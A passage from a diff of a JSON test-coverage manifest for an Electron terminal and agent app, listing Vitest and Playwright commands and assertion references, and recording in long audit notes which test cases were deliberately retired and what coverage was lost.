\"durationSeconds\": 10,\n \"summary\": \"The isolated headless serve owner promoted to a real renderer while preserving main owner, runtime, daemon, and PTY identity. Pre-promotion output remained visible and post-promotion terminal input/output succeeded; a full-window proof image records both markers.\",\n \"currentCommand\": \"SKIP_BUILD=1 pnpm exec playwright test e2e/headless-serve-desktop-activation.spec.ts tests/e2e/headless-serve-desktop-activation.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/session-graph/runtime-graph-reload-lifecycle.test.ts src/main/runtime/construction/orca-runtime.test.ts\",\n \"pnpm exec electron-vite build --mode e2e\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"SKIP_BUILD=1 pnpm exec playwright test e2e/renderer-crash-recovery-terminal-input.spec.ts tests/e2e/renderer-crash-recovery-terminal-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"SKIP_BUILD=1 pnpm exec playwright test e2e/headless-serve-desktop-activation.spec.ts tests/e2e/headless-serve-desktop-activation.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/main/runtime/session-graph/runtime-graph-reload-lifecycle.test.ts\",\n \"src/main/runtime/construction/orca-runtime.test.ts\",\n \"tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts\",\n \"tests/e2e/renderer-crash-recovery-terminal-input.spec.ts\",\n \"tests/e2e/headless-serve-desktop-activation.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/main/runtime/session-graph/runtime-graph-reload-lifecycle.test.ts\",\n \"assertions\": [\n \"each revision settles exactly once\",\n \"replacement cancels the old revision and fences its timeout\",\n \"settlement and timeout release their timers\"\n ]\n },\n {\n \"file\": \"tests/e2e/renderer-blocked-navigation-graph-authority.spec.ts\",\n \"assertions\": [\n \"blocked external navigation starts and stops loading without replacing the renderer document\",\n \"runtime graph epoch, readiness, and authoritative window remain unchanged\",\n \"a later listener can cancel a renderer navigation while its canary and authoritative graph recover\"\n ]\n },\n {\n \"file\": \"tests/e2e/renderer-crash-recovery-terminal-input.spec.ts\",\n \"assertions\": [\n \"main observes renderer process loss and a completed recovery load\",\n \"the same daemon-backed PTY remains reachable through transport and direct-write probes\"\n ]\n },\n {\n \"file\": \"tests/e2e/headless-serve-desktop-activation.spec.ts\",\n \"assertions\": [\n \"promotion preserves main owner, runtime, daemon, and PTY identity\",\n \"terminal output survives promotion and post-promotion input/output remains live\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/session-graph/runtime-graph-reload-lifecycle.test.ts src/main/runtime/construction/orca-runtime.test.ts\",\"pnpm exec electron-vite build --mode e2e\",\"SKIP_BUILD=1 pnpm exec playwright test e2e/renderer-crash-recovery-terminal-input.spec.ts tests/e2e/desktop/startup-recovery/renderer-crash-recovery-terminal-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\"SKIP_BUILD=1 pnpm exec playwright test e2e/headless-serve-desktop-activation.spec.ts tests/e2e/remote/paired-runtime/workspace-routing/headless-serve-desktop-activation.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"],\"testFiles\":[\"src/main/runtime/session-graph/runtime-graph-reload-lifecycle.test.ts\",\"src/main/runtime/construction/orca-runtime.test.ts\",\"tests/e2e/desktop/startup-recovery/renderer-crash-recovery-terminal-input.spec.ts\",\"tests/e2e/remote/paired-runtime/workspace-routing/headless-serve-desktop-activation.spec.ts\"],\"assertionRefs\":[{\"file\":\"src/main/runtime/session-graph/runtime-graph-reload-lifecycle.test.ts\",\"assertions\":[\"each revision settles exactly once\",\"replacement cancels the old revision and fences its timeout\",\"settlement and timeout release their timers\"]},{\"file\":\"tests/e2e/desktop/startup-recovery/renderer-crash-recovery-terminal-input.spec.ts\",\"assertions\":[\"main observes renderer process loss and a completed recovery load\",\"the same daemon-backed PTY remains reachable through transport and direct-write probes\"]},{\"file\":\"tests/e2e/remote/paired-runtime/workspace-routing/headless-serve-desktop-activation.spec.ts\",\"assertions\":[\"promotion preserves main owner, runtime, daemon, and PTY identity\",\"terminal output survives promotion and post-promotion input/output remains live\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local\",\"daemon\",\"paired-runtime\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): A byte-identical three-case oracle was rerun on 2026-08-13. Latest main ee8dd4796e failed all three: reload remained reloading after 22.5 seconds, the prior renderer document settled the replacement, and a competing window stole failed-promotion authority. Submitted PR head feeca6c22f passed the bounded replacement timeout but failed both authority cases. The locally rewritten candidate passed all three. Disabling the local document-generation and pending-window fences reproduces the submitted-head failures; disabling the cancelled-navigation classifier leaves the graph reloading and increments its epoch in the new live oracle.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Fresh deterministic and two isolated Electron journeys are green; CI soak history is pending.\"},\"runtimeBudget\":{\"p95Seconds\":420,\"scope\":\"focused deterministic contracts plus isolated forced-crash and headless-promotion Electron journeys\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Fresh delegated audit passed with no blocking, major, or actionable minor findings. The candidate retains at most one unref'd timer, reuses the existing renderer document UUID, adds about 67 serialized bytes to each already-coalesced local graph IPC, and performs constant-time generation/window checks. It adds no polling, subprocess, network request, remote frame, provider scan, or steady-state fanout; a dedicated benchmark would measure existing graph/structured-clone noise rather than meaningful incremental work.\"}}" ], "demotionRule": "Demote if a reload revision settles more than once, a stale document or competing window can publish, a timer survives settlement, desktop failure stays indefinitely reloading, headless fallback returns after successful promotion, or either isolated Electron journey loses runtime or PTY identity." }, @@ -3719,7 +3529,7 @@ "id": "runtime.streaming-subscription-close-delivery", "title": "Retiring a runtime transport always tells the renderer its streams closed", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "runtime-platform", "layer": "runtime-subscription-ipc-contract", "surfaces": [ @@ -3731,72 +3541,31 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["remote-runtime"], - "coveredPlatforms": ["macos"], - "coveredProviders": ["remote-runtime"], - "coverageNotes": "Audit3788 retires10 authored/11 expanded cases across six changed drivers, including the entire screencast pending-frame-retry and usage-source-cache-streaming suites. Deliberate losses are false-refused last-frame retry/once-only delivery, ordinary stable-pane reattachment, cleared-chat Dispatch completion, terminal-declared chat-caller refusal, at-rest worker liveness projection, nested depth/cap policy, small unsigned6/sealed7 plain-format and verified-bit examples, generic malformed-ISIZE footer refusal examples, and synthetic10k/100k chunk-size/work-count budgets in gzip and general cache I/O. These include real state/disk/RPC outcomes consciously retired for marginal value; retained E2EE-backlog, receipt/custody/uncertain-ack, integrity/migration and staging-cleanup cases are not equivalent replacements. The footer test did not prove early rejection or bounded allocation; staging cleanup did not seed unrelated files. No replacement or fresh native/remote/performance execution is claimed. Earlier raw selectors and dated receipts remain historical. Audit3779 retires17 authored/17 expanded registrations across six changed drivers, including the entire shared-Codex-home and prompt-telemetry suites. Accepted losses are shared-home wrapper noninterference/opt-out preservation, mocked metric count/provenance filters, SSH activity labeling/clearing and handover idle timing, VM ownership/capability/status projections and asleep-worktree refusal, a link-only external conversation replay sample, and two narrow input-credit noninterference/expiry examples. Retain the direct exact-tab/single-use input-credit case. These bounded real disk/state/routing alarms are intentionally retired for marginal value without equivalent replacement or fresh execution claims; earlier receipts remain historical. Audit3772 retires18 authored/27 expanded cases, including whole Codex service opt-out, RPC capability-parser, creator-provenance, short-ciphertext and readiness-null suites. Accepted losses include service ledger/symlink/mode cleanup, user TOML substring preservation, old-hash cleanup, description pass-through, malformed-file/pending-hash examples, coordinator write/probe counts, capability array bounds, positive creator projections, early short-payload refusal and readiness helper null shape. Two redundant Codex exit-cause rows are also retired; Pi shares their direct-idle path only in this empty-output immediate-exit fixture, and future agent-config drift coverage is lost. Real bounded filesystem/parser/runtime alarms are deliberately retired for marginal value; no equivalent replacements or fresh execution are claimed. Earlier receipts retain their historical scope. Audits3754/3755 intentionally remove9 authored/9 finite registrations: the entire one-case usage-source-cache-streaming.test.ts driver and8 cases from the surviving computer-action-validation.test.ts driver. This gate retains an unfiltered root Vitest command; UNIT_INCLUDE admits both source paths. Accepted losses are the real encoder output chunk-size/work-count alarm on repetitive10k/100k ownership payloads through a mocked durable sink, plus CLI diagnostic precedence, fractional window-id rejection, action-call-site window-target exclusivity, plain-text click-count recovery copy, incomplete click/drag targeting, mouse/modifier/direction allowlist samples and inline/stdin text exclusivity. These CLI cases exercise real argument/handler validation before mocked runtime calls; they are deliberately retired for marginal value, not declared tautologies. Retained cache I/O and CLI cases are not equivalent replacements for these alarms. Existing historical raw receipts remain unchanged and do not validate the deleted or reduced drivers. No fresh execution claim is made. Audits3758/3763 intentionally remove9 authored/11 finite registrations from6 changed drivers, including the entire pane-title-notification, window-linear-notices and worktree-card-lifecycle-effects suites. This gate retains an unfiltered root Vitest command admitting these paths. Accepted losses are same-account linked-row success-notice fanout, sidebar-switch channel forwarding, Linear-only notification forwarding/non-terminal-consumer selection/closed-window detach, destroyed-window refusal and first-send-failure suspension through the pane-title adapter, the100-card synthetic focus/poll absence sample, stored-source local folder badge refresh, unobserved-row badge refusal, and immediate reposChanged lineage invalidation. These exercise real owners with controlled ports; they are retired for marginal value, without equivalent replacement claims. The no-badge-work fixture does not seed its title-promised collection-only cache. Preserved historical receipts do not validate deleted or reduced drivers; no fresh execution is claimed. Audit3759 retires the entire one-case Tailwind compiler/scanner smoke. Accept loss of the direct CSS production/test/spec source-exclusion and rescan alarm; no replacement or current execution is claimed. Audit3752 independently approves audit3749: retire five authored/five finite watcher-process registrations, retaining18 raw-exact registrations. Accept loss of healthy shared-pool joint recovery, last-pending-failure idle retirement/respawn, late VITEST fallback release, missing-entry fail-closed selection and independent-supervisor fuse locality alarms. These are real bounded host-policy alarms intentionally retired for low marginal value; no equivalent replacement is asserted. Remaining driver selections exercise controlled FakeChild supervisor lifecycle, cancellation, physical-exit fencing, recovery and fuse behavior. This source review supplies no fresh native/process/platform/remote/SSH execution; historical receipts retain original source and selector scopes. Audits3738/3742/3743/3744 intentionally remove15 authored/21 finite registrations from six surviving drivers, with no equivalent replacement or fresh execution claim. This gate retains an unfiltered root Vitest command. Current UNIT_INCLUDE admits the partial push-service, metadata-dialog and two config/scripts browser drivers:10 authored/16 finite removals. Accepted losses: actual retry30s/60s progression and register bucket/refill wiring, explicit seven-day lease arithmetic (its notification lacked seq/epoch and never reached send), equal-name edit latch/save payload, real image/font/meta-refresh/form/popup browser refusal controls, and broad rich-markdown bridge/command/edit-select smoke. Actual production state, callback routing and browser enforcement run in these cases; these alarms are deliberately retired on marginal value. All drivers and selectors survive. Existing unrelated receipts remain historical evidence for their unchanged selectors, not proof of the reduced cases. Audit3732 removes 2 authored/3 finite registrations from two partial suites: nominal custom/Kimi local naming success and deferred context usage row presentation. Real losses: custom/Kimi successful extraction through conversation-name sanitization and agentLabel composition; separate ordered counted/deferred lists and exact percentage/token formatting. No replacement or equivalent coverage claimed. Retain 11 authored/13 finite raw-exact registrations for bounded naming instruction/refusal/cancellation, menu dismissal focus ownership and hover/composer Escape/timer cleanup. Source-only bounded value review, no runtime/CI/native/remote/mobile/folder workspace or global completion credit. Previous account (preserved verbatim): Audit3733 removes2authored/2finite terminal input checks: fixed custom-cap error/secret fixture and three-emoji cap5refusal whose6UTF16units already trip length fast guard (no UTF8-dependent boundary). Accept exact non-disclosure/oversized-refusal alarm losses; no replacement/equivalence claim. Retain13/13scalar/pending input, OSC state and cron DST/cadence outcomes after bounded material reads. Source-only zero runtime/novelty credit; original historical reasons preserved. Previous account (preserved verbatim): Audit3729 removes1authored/3finite by deleting whole CLI runtime pairing advisory-close suite. Accept losing post-real-close injected EIO preservation of native/script/unreadable pairing, env identity/preservation and exact close/release assertions; no actual failed-close leak or replacement coverage claimed. Two retained URL grammar/identity suites11authored16finite raw unchanged. Bounded source/owner/caller value review, zero novelty/runtime credit; other seven3724deferred closures remain. Historical receipts preserve original limits. Previous account (preserved verbatim): Audit3724 removes3authored/3finite checks by deleting two whole suites: TUI clear burst-size singleton and terminal-file-URL target two-case wrapper suite. Deliberate losses: derived widest burst<64byte alarm, UNC authority+line-column anchor composition, and malformed-percent null refusal. Real production algorithms execute in those tests; no mocked-output tautology, equivalent replacement, actual Claude/file-navigation delivery or universal safety-irrelevance claim. TUI58byte bound and URI examples have low marginal value as standalone suites. Actual1262/1264/1742KEEP superseded explicitly. Remaining14drivers83authored136finite raw unchanged. Bounded source-only review; ten closures deferred, four bounded keep judgments repeated with zero new semantic-frontier credit. No runtime/CI/native/remote/mobile/folder/global completion claim; historical receipts retain original scope. Previous account (preserved verbatim): Audit3723 removes 4 authored/4 finite registrations in two whole suites: keybinding cache freeze/token spellings and host-dependent Orca command name examples. Real losses include returned-object freeze, repeated Mod+P key, Space/PageDown/NumpadSubtract mapping, unknown/empty/prototype-token rejection, and headless Linux versus Windows-server/WSL command choice. No equivalent or replacement coverage claimed. Retain 12 authored/21 finite raw-exact registrations exercising generated scaffold validation, artifact failures, shipped editor/hook/worker/panel tests, actual generated typing compilation, independent CLI root routing and intent-name precedence. Source-only bounded audit; no runtime, CI, native, remote, mobile, folder workspace or global completion credit. Previous account (preserved verbatim): Audit3720 removes17authored/23finite checks: whole main catalog-date adapter2 and shared date-helper7, seven renderer nominal ranking/cap/no-date/composition cases, and one browser registration expanding to seven forced-container/DOM-child boundary cases. Deliberate real losses: community oldest-date UTC forwarding, official/undated omission, date sorting/window/invalid/future/skew/clamp and default/override cap; nominal ranking/cap and combined Featured/Newly-added outputs; real CSS459/460,719/720,1055/1056breakpoint, five-card partial-row and720px two-card first-row alarms. Browser cases really measure rendered geometry but force width/remove DOM children; no fake-pixel or tautology rationale. No replacement/equivalent coverage claimed. Retain14authored/19finite raw-exact registrations across4drivers: adversarial featured category/order/tie and installability, date order/window selection, actual PluginManager failure/escaping/duplicate-card suppression, real browser viewport/odd-count geometry/phone catalog visibility, syntax ingress/depth/include/printability and68dlong-bracket auto-close fill-in. No tests/browser/native/UI/provider/remote/mobile/folder/CI/global execution or completion credit. Previous account (preserved verbatim): Audit3717 removes6 authored/6finite checks in two whole thin-adapter/presentation suites. Deliberate real losses: ordinary recipe repository-URL withholding and provisioned-root credential scrubbing/forwarding; repository label lockstep suffix expansion, host-scoped map identity/collision grouping, Windows crosshost paths and WSL distro suffixes. Actual provision options, label/sort consumers and host/scrubber delegates inspected; no replacement/equivalence claim. Retain40 authored/84finite registrations raw exact in14 drivers with bounded owner/context review. Prior KEEP superseded for removed suites; no runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3714 removes8 authored/39finite checks: whole CLI selector-recovery, task display-text and ANSI grammar suites plus two name joiner/blank tables. Deliberate real losses: selector flag/value/identity and mutation recovery merge/serialization; exact task suffix, transcript fallback, input immutability, cache reuse and edited blocks; independent failed-escape/resumption and OSC/DCS/BEL/ST/C1/nested/unfinished stripping outputs; meaningful-language joiner preservation and invisible/blank-name rejection. These are real bounded alarms, removed as narrow supplied-error examples, helper/token inventories and repeated internal-work fixtures. Prior2936,1195/1196,1214/1215 and1082 KEEP superseded; no replacement or equivalent coverage claimed. Keep9authored/9finite raw-exact registrations in5surviving drivers: screenshot export/failure filesystem behavior, CLI local tree query, event-local reply provenance, vault role-sensitive content and four hostile/UTF16/dangling/tag-name regressions. No native/UI/provider/remote/mobile/folder/runtime/CI/global completion credit. Previous account (preserved verbatim): Audit3711 retires2authored/4finite cases by deleting whole clipboard-image-temp-file signature-to-name inventory (HEIC/TIFF/unrecognised bytes) and workspace-last-active switch-on supplied visit/reason singleton, plus its now-orphan test fixture. This intentionally loses real generated-filename suffix/extensionless alarms and real newer-visit archived7day versus inactive30day filtering/older-visit identity alarms. Filesystem writing and production reason pruning really execute; no equivalent replacement or universal absence of safety relevance is claimed. The clipboard test does not inspect written bytes, native delivery or decode; the visit test supplies candidate/timestamps and does not exercise persisted visit routing or actual removal.20authored/20finite cases remain unchanged across4bounded Git/sidecar/removal drivers. No new runner/test/module evaluation or runtime result; historical notes and receipts remain historical. Previous account (preserved verbatim): Audit3707 removes10 authored/11finite checks: three whole renderer adapter/assembled-stage suites and two native projection cases. Deliberate losses: plugin URL/ref/default-version/local-path and unsafe credential refusal forwarding; real Task hook/store A→B→A late-save/list/count fences, owner disappearance, legacy-host convergence, query/history/eviction and same-ID host history; native child append ordered-ID/replacement and compound fallback/order/optimistic-admission/child-turn/duplicate/shrink/revision alarms. These are real bounded alarms; removal follows thin adapter, manually assembled Task pipeline and repetitive fixture value judgment, with no replacement or equivalent coverage claim. Prior1179/1182,1220/1221 and1885 KEEP superseded as applicable. Keep36 authored/38finite registrations raw exact across13 surviving drivers. No runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3706 removes7authored/7potential cases from3renderer sources: whole usage-label3case and130000-distinct-day usage-overview singleton suites, plus3SSH grouping/ordinary-range examples. Retain11authored/11potential cases across6drivers in this bounded selection; no equivalent replacement or fresh runtime result. Existing bare root-unit commands admit this selection statically; prior command/receipt strings remain historical. Audit3706 intentionally retires first/second-order usage-group label collision alarms; equal50%-weekly bucket versus derived-weekly selection identity and Gemini wk label alarm;130000distinct-day aggregation no-spread-crash/max/intensity alarm; legacy absent-source SSH grouping and ordinary reverse-select/selected-target deselect range alarms. Actual label ambiguity and pathological-input crash are accepted losses. Distinct-day fixture spans~356years; no hard producer/date bound is claimed. Retained filtered-anchor/grouped-order guards do not replace removed deselection/reverse-range/legacy-group coverage. No native SSH, mounted renderer, live provider, remote/folder/mobile end-to-end or current runtime pass was obtained. Previous account (preserved verbatim): Audit3699 removes4 authored/4finite checks, including one whole xterm copy-policy suite and one root/group CLI help case. Deliberate losses: direct copy-chord admission for platform, selection, Kitty mode, defaultPrevented, logical/physical key and key phase; command-group disclosure and group help routing including claude-teams early return without RuntimeClient construction. These are real bounded policy/wiring alarms; no replacement or equivalent coverage claimed. Retain14 authored/19finite raw-exact registrations across6 drivers: unsafe CLI refusal, Claude model event carry and disk reconstruction/OSC-first case, attachment ownership/upload lifetime and mixed BMP file-reference/PNG-chip delivery, actual SQLite authority/admission/mutation, and Electron geometry/hit-testing. No runtime, CI, native-key delivery, external provider, mobile, remote, folder or global completion credit. Previous account (preserved verbatim): Audit3692 removes5 authored/5finite marginal Codex checks: unrelated login URL without notice; ordinary per-account launch resource/config materialization; no-retained-pane skip; preservation of a previously owed full scan through actual preparation and pending-marker update (no actual history scan/settlement); ordinary later-config refresh. Accept these exact branch/wiring alarms as deliberate losses without replacement. Retain32 authored/34finite raw callbacks/registrations/table bytes exact across14suites, including credential/admission refusal, grace/reset readiness, filesystem ownership, commit-dependent queue state, streaming/host trust, path canonicalization and private-state preservation. All14whole suites challenged without keeper quota; no whole deletion warranted on current concrete signals. No runtime/CI/native WSL/remote/mobile/folder/global completion credit Previous account (preserved verbatim): Audit3691 removes two complete runtime-home routing singleton suites (2 authored/2 finite): catalog wrapper mirror login-copy and passive transcript-lookup filesystem noncreation. Exact accepted losses are recorded in knownGaps; no replacement or equivalent coverage claimed. Audit3691: no dedicated alarm remains in the deleted sources for post-launch system login import through prepareHostCodexHomeForReadOnlyAppServer, or for repeated missing-transcript lookups leaving removed Codex account/runtime directories absent and userData entries unchanged. Ownership-marker read avoidance was never independently measured. No real catalog probe, provider, native Windows or crash was validated by those fixtures. Previous account (preserved verbatim): Audit3686 current Claude profile/account review removes5 authored/5 finite cases: whole structured-auth diagnostic-label suite3 and Windows-only command suite1 whose advertised cache alarm is ineffective because cache lifetime is per invocation; remove duplicate setup namespace-link refusal1 at wrapper layer. All5 exact historical KEEP are consciously superseded. Retain49 authored/50 finite unchanged, including filesystem privacy/recovery, route identity and concurrency, built worker/helper, legacy WSL alias compatibility and sign-in handoff. These are deliberate coverage losses without replacement. No runtime/CI/native WSL/macOS Keychain, remote/mobile/folder or global completion credit. Explicit accepted real losses: unknown-account host fallback and mixed-version/WSL-only structured auth diagnostic labels; Windows-only sentinel ENOENT-to-friendly-error translation plus fresh-call successful dispatch smoke; setup catch-to-refused wrapper and no-write outcome for a namespace symlink. The command case does not discriminate removal of its per-invocation noncache guard; it still supplies the error-translation alarm, which is intentionally retired. No replacement/equivalence promise. Previous account (preserved verbatim): Audit3680 removes eleven authored/eleven finite unit cases across four files, including entire launch setup row projection, structured legacy-model metadata, and legacy classifier suites. Accept loss of exact row partition/start selection, Codex supersession/default/unknown and Claude alias/suffix folding examples, other-agent exemption, getter/cache read budgets, same-array per-agent cache isolation, replaced-catalog metadata, and tracked-only model exclusion from structured and PTY legacy inventories. These are real narrow policy/metadata alarms intentionally retired without equivalent replacements. Retain real menu collapse/reopen in dropdown/select, AI picker cancel/accept and stale-effort filing, IME carry/gesture/frame transitions, and typed-flip versus held-dispatch fencing. No production or shared fixtures change. No dead timing entry exists for the three deleted drivers; retained timing keys stay unchanged. Static source-value review only; no project import, test runner, native/app execution or runtime validation established. Earlier receipts retain historical scope. Previous account (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous account (preserved verbatim): Audit3672 renewed by3676 removes four authored/four finite cases from federation-output.test.ts: nominal show/read routing and terminal-fallback projection; initial archive-table SELECT failure returning retained/no-close; simulated old-peer read/fleet/refusal and method inventory; and absent archive-release capability refusing release. These actual compatibility/guard alarms are intentionally lost without equivalent replacement; the dropped-table case never reaches capture or commit. Current selected frontier9 becomes5: retain actual temporary transcript parsing/path omission, current no-transcript release/unavailable-output/restart/replay regression, and three home deadline/stop nonmutation cases. Prior held-capture case was already removed upstream and receives no new removal credit; prior redacted snapshot archive behavior was rewritten upstream and is not claimed retained here. The surviving driver timing entry stays. Static review/private composition only; no actual peer/network/native/platform or fresh runtime validation. Previous account (preserved verbatim): Audit3671 removes14 authored/32 finite root-unit cases, including the whole WSL move-handler refusal suite, WSL preload object-presence suite and internal gate spelling truth table. Also retire the weak withheld-command non-array shape assertion, static serve-only Add/capability/mock-remove example, grammar scope equality and basic configuration/payload schema roundtrips. Genuine wrong-window/malformed-request/gate-before-work, exact gate spellings/platform/argv precedence, static serve-only routing, declaration mismatch and empty grammar/pair admission alarms are consciously lost without replacement; prior KEEP decisions are reconsidered. Seven unchanged authored/finite root-unit cases retain real image/provider/line budgets, live policy transition/capability broadcast, grammar resource/reference traversal and strict-versus-tolerant literal salvage. Source-value evidence only; no runner/compiler/build/app/native/provider/remote/mobile/folder validation or historical fault claim. Independently remove one authored/finite Playwright closed-gate app-boot inventory: accept loss of real renderer/preload/main refusal composition, saved-host row and Add/Move hiding/Remove visibility alarms. Keep the unchanged scripted-move rendered dialog lifecycle/reload case. It runs no real WSL migration, host connection, file copy or automation restoration. No selector or Playwright participation cleanup is required because the spec remains. Previous account (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3634: Remove five authored/five finite cases, including the complete structured chat terminal-refusal, terminal-plus-agent worker-start validation, and canonical Git common-directory parser suites. Also remove the gh free-text -R argument projection case. Consciously supersede prior KEEP decisions and accept chat-versus-stale redirect classification, real RPC refusal-before-SQLite-Dispatch, old-Git echoed-option relative-path parsing, WSL execution-space resolution, and free-text preservation/bare-repo qualification alarms. These are genuine narrow alarms, intentionally retired without equivalent replacements. Retain real Git stdin/EOF delivery, bound-account host admission, naming environment/account precedence, upload iterator cancellation and remote path confinement. Shared fixtures and production code remain. Remove only the dead canonical-repo-key timing entry. Static source-value evidence only; all prior evidence retains historical scope. Audit3636: Remove the entire maintenance opportunity internal-count driver (one authored/two finite cases), the mocked remote worker start-card argument case (one/one), and the follow-up heading mapping table (one/two). Root-unit discovery loses three authored/five finite cases. Independently remove four Python native screenshot methods/five statically enumerated subTest scenarios: grim argv/stub payload, failure-code mapping, X11 mocked capture payload, and capability flags. The Python lane is verify:computer-native and is not root Vitest. Accept loss of exact native command/projection and exception/capability alarms, ready-only card publication arguments/agent forwarding, and serialized follow-up heading mapping; no equivalent replacement is claimed. Retain actual ownership/mail/queue/reopen transitions, remote lost-response fencing and first-result settlement, filesystem/maintenance admission and successor progress, wrong-region screenshot refusal and Sway geometry. The whole-deleted new driver has no timing key; this component requires no timing cleanup. No production changes. Static source-value review only; no project import, runner, app, native desktop or runtime validation established. All prior evidence retains historical scope. Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed. Audit3630 removes the sole orphan automation availability test (1 authored/1 finite). Its real policy kind, orphan precondition, delete/toggle enablement and run/edit refusal alarms are intentionally lost. The test did not dispatch an action, enforce a server generation fence or observe a remote mutation. No equivalent replacement, actual renderer/transport execution or new platform/provider evidence is claimed. Previous account (preserved verbatim): Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope. Audit3624: Remove one authored/five finite positive Gemini identity table from the Claude/Gemini title collision driver. The real normalization, legacy label and explicit title evidence owners execute, so ordinary Gemini marker/name/wrapper recognition and normalized-label composition alarms are consciously retired without equivalent replacement; these five supplied title-to-literal identity examples have low marginal value. Preserve the six-row Claude task-text collision oracle, whose unrelated CLI mentions must not rebrand or destructively normalize titles. The other audited drivers preserve real permission-mode session transitions, prompt secret/fence/bounds defenses, JSON-to-Ask option/preview preservation, and optional GitLab failure summary/trace composition. Root-unit discovery loses one authored/five finite cases; no whole driver or timing key is removed. No actual terminal stream, UI routing, application/native or runtime execution established; all prior evidence retains historical scope. Audit3618: Remove three authored/three finite browser reload cases, including the complete renderer reload-actions suite. Agent bridge fake did-fail-load plus permanently supplied manager error projects description/code into a rejection. Renderer seeded empty metadata projects a saved URL into plain webview src; its earlier not-ready case projects a live-id/throwing fake reload into absence of a loading patch. Real queue/wait/error/cache/classifier/hook code executes, but these narrow supplied-state and exception-to-callback wirings have low marginal value; no rerender, lifecycle, actual cache generation/retirement or guest commit is asserted. Explicitly supersede audit1822 not-ready KEEP and preliminary3617 cross-module retain opinion, accepting offline-reload failure reporting, empty guest to saved URL routing, native-reload bypass and premature-loading/stranded-state alarms without replacement. Retain distinct main cancellation queue progression and absent queued side-effect dispatch. Root-unit discovery loses three/three. No Electron guest, network failure, restored navigation/commit, app/native focus or runtime execution established; earlier evidence retains its historical scope. Audit3614: Remove thirty-one authored/thirty-nine finite potential cases across CLI format and argument drivers, including three whole suites: search-result/status sanitation sites, Linear issue/list/warning sanitation sites, and quote-stripped JSON diagnostic secret non-echo. Those real formatter/guard transformations execute on supplied strings; intentionally retire their field-specific 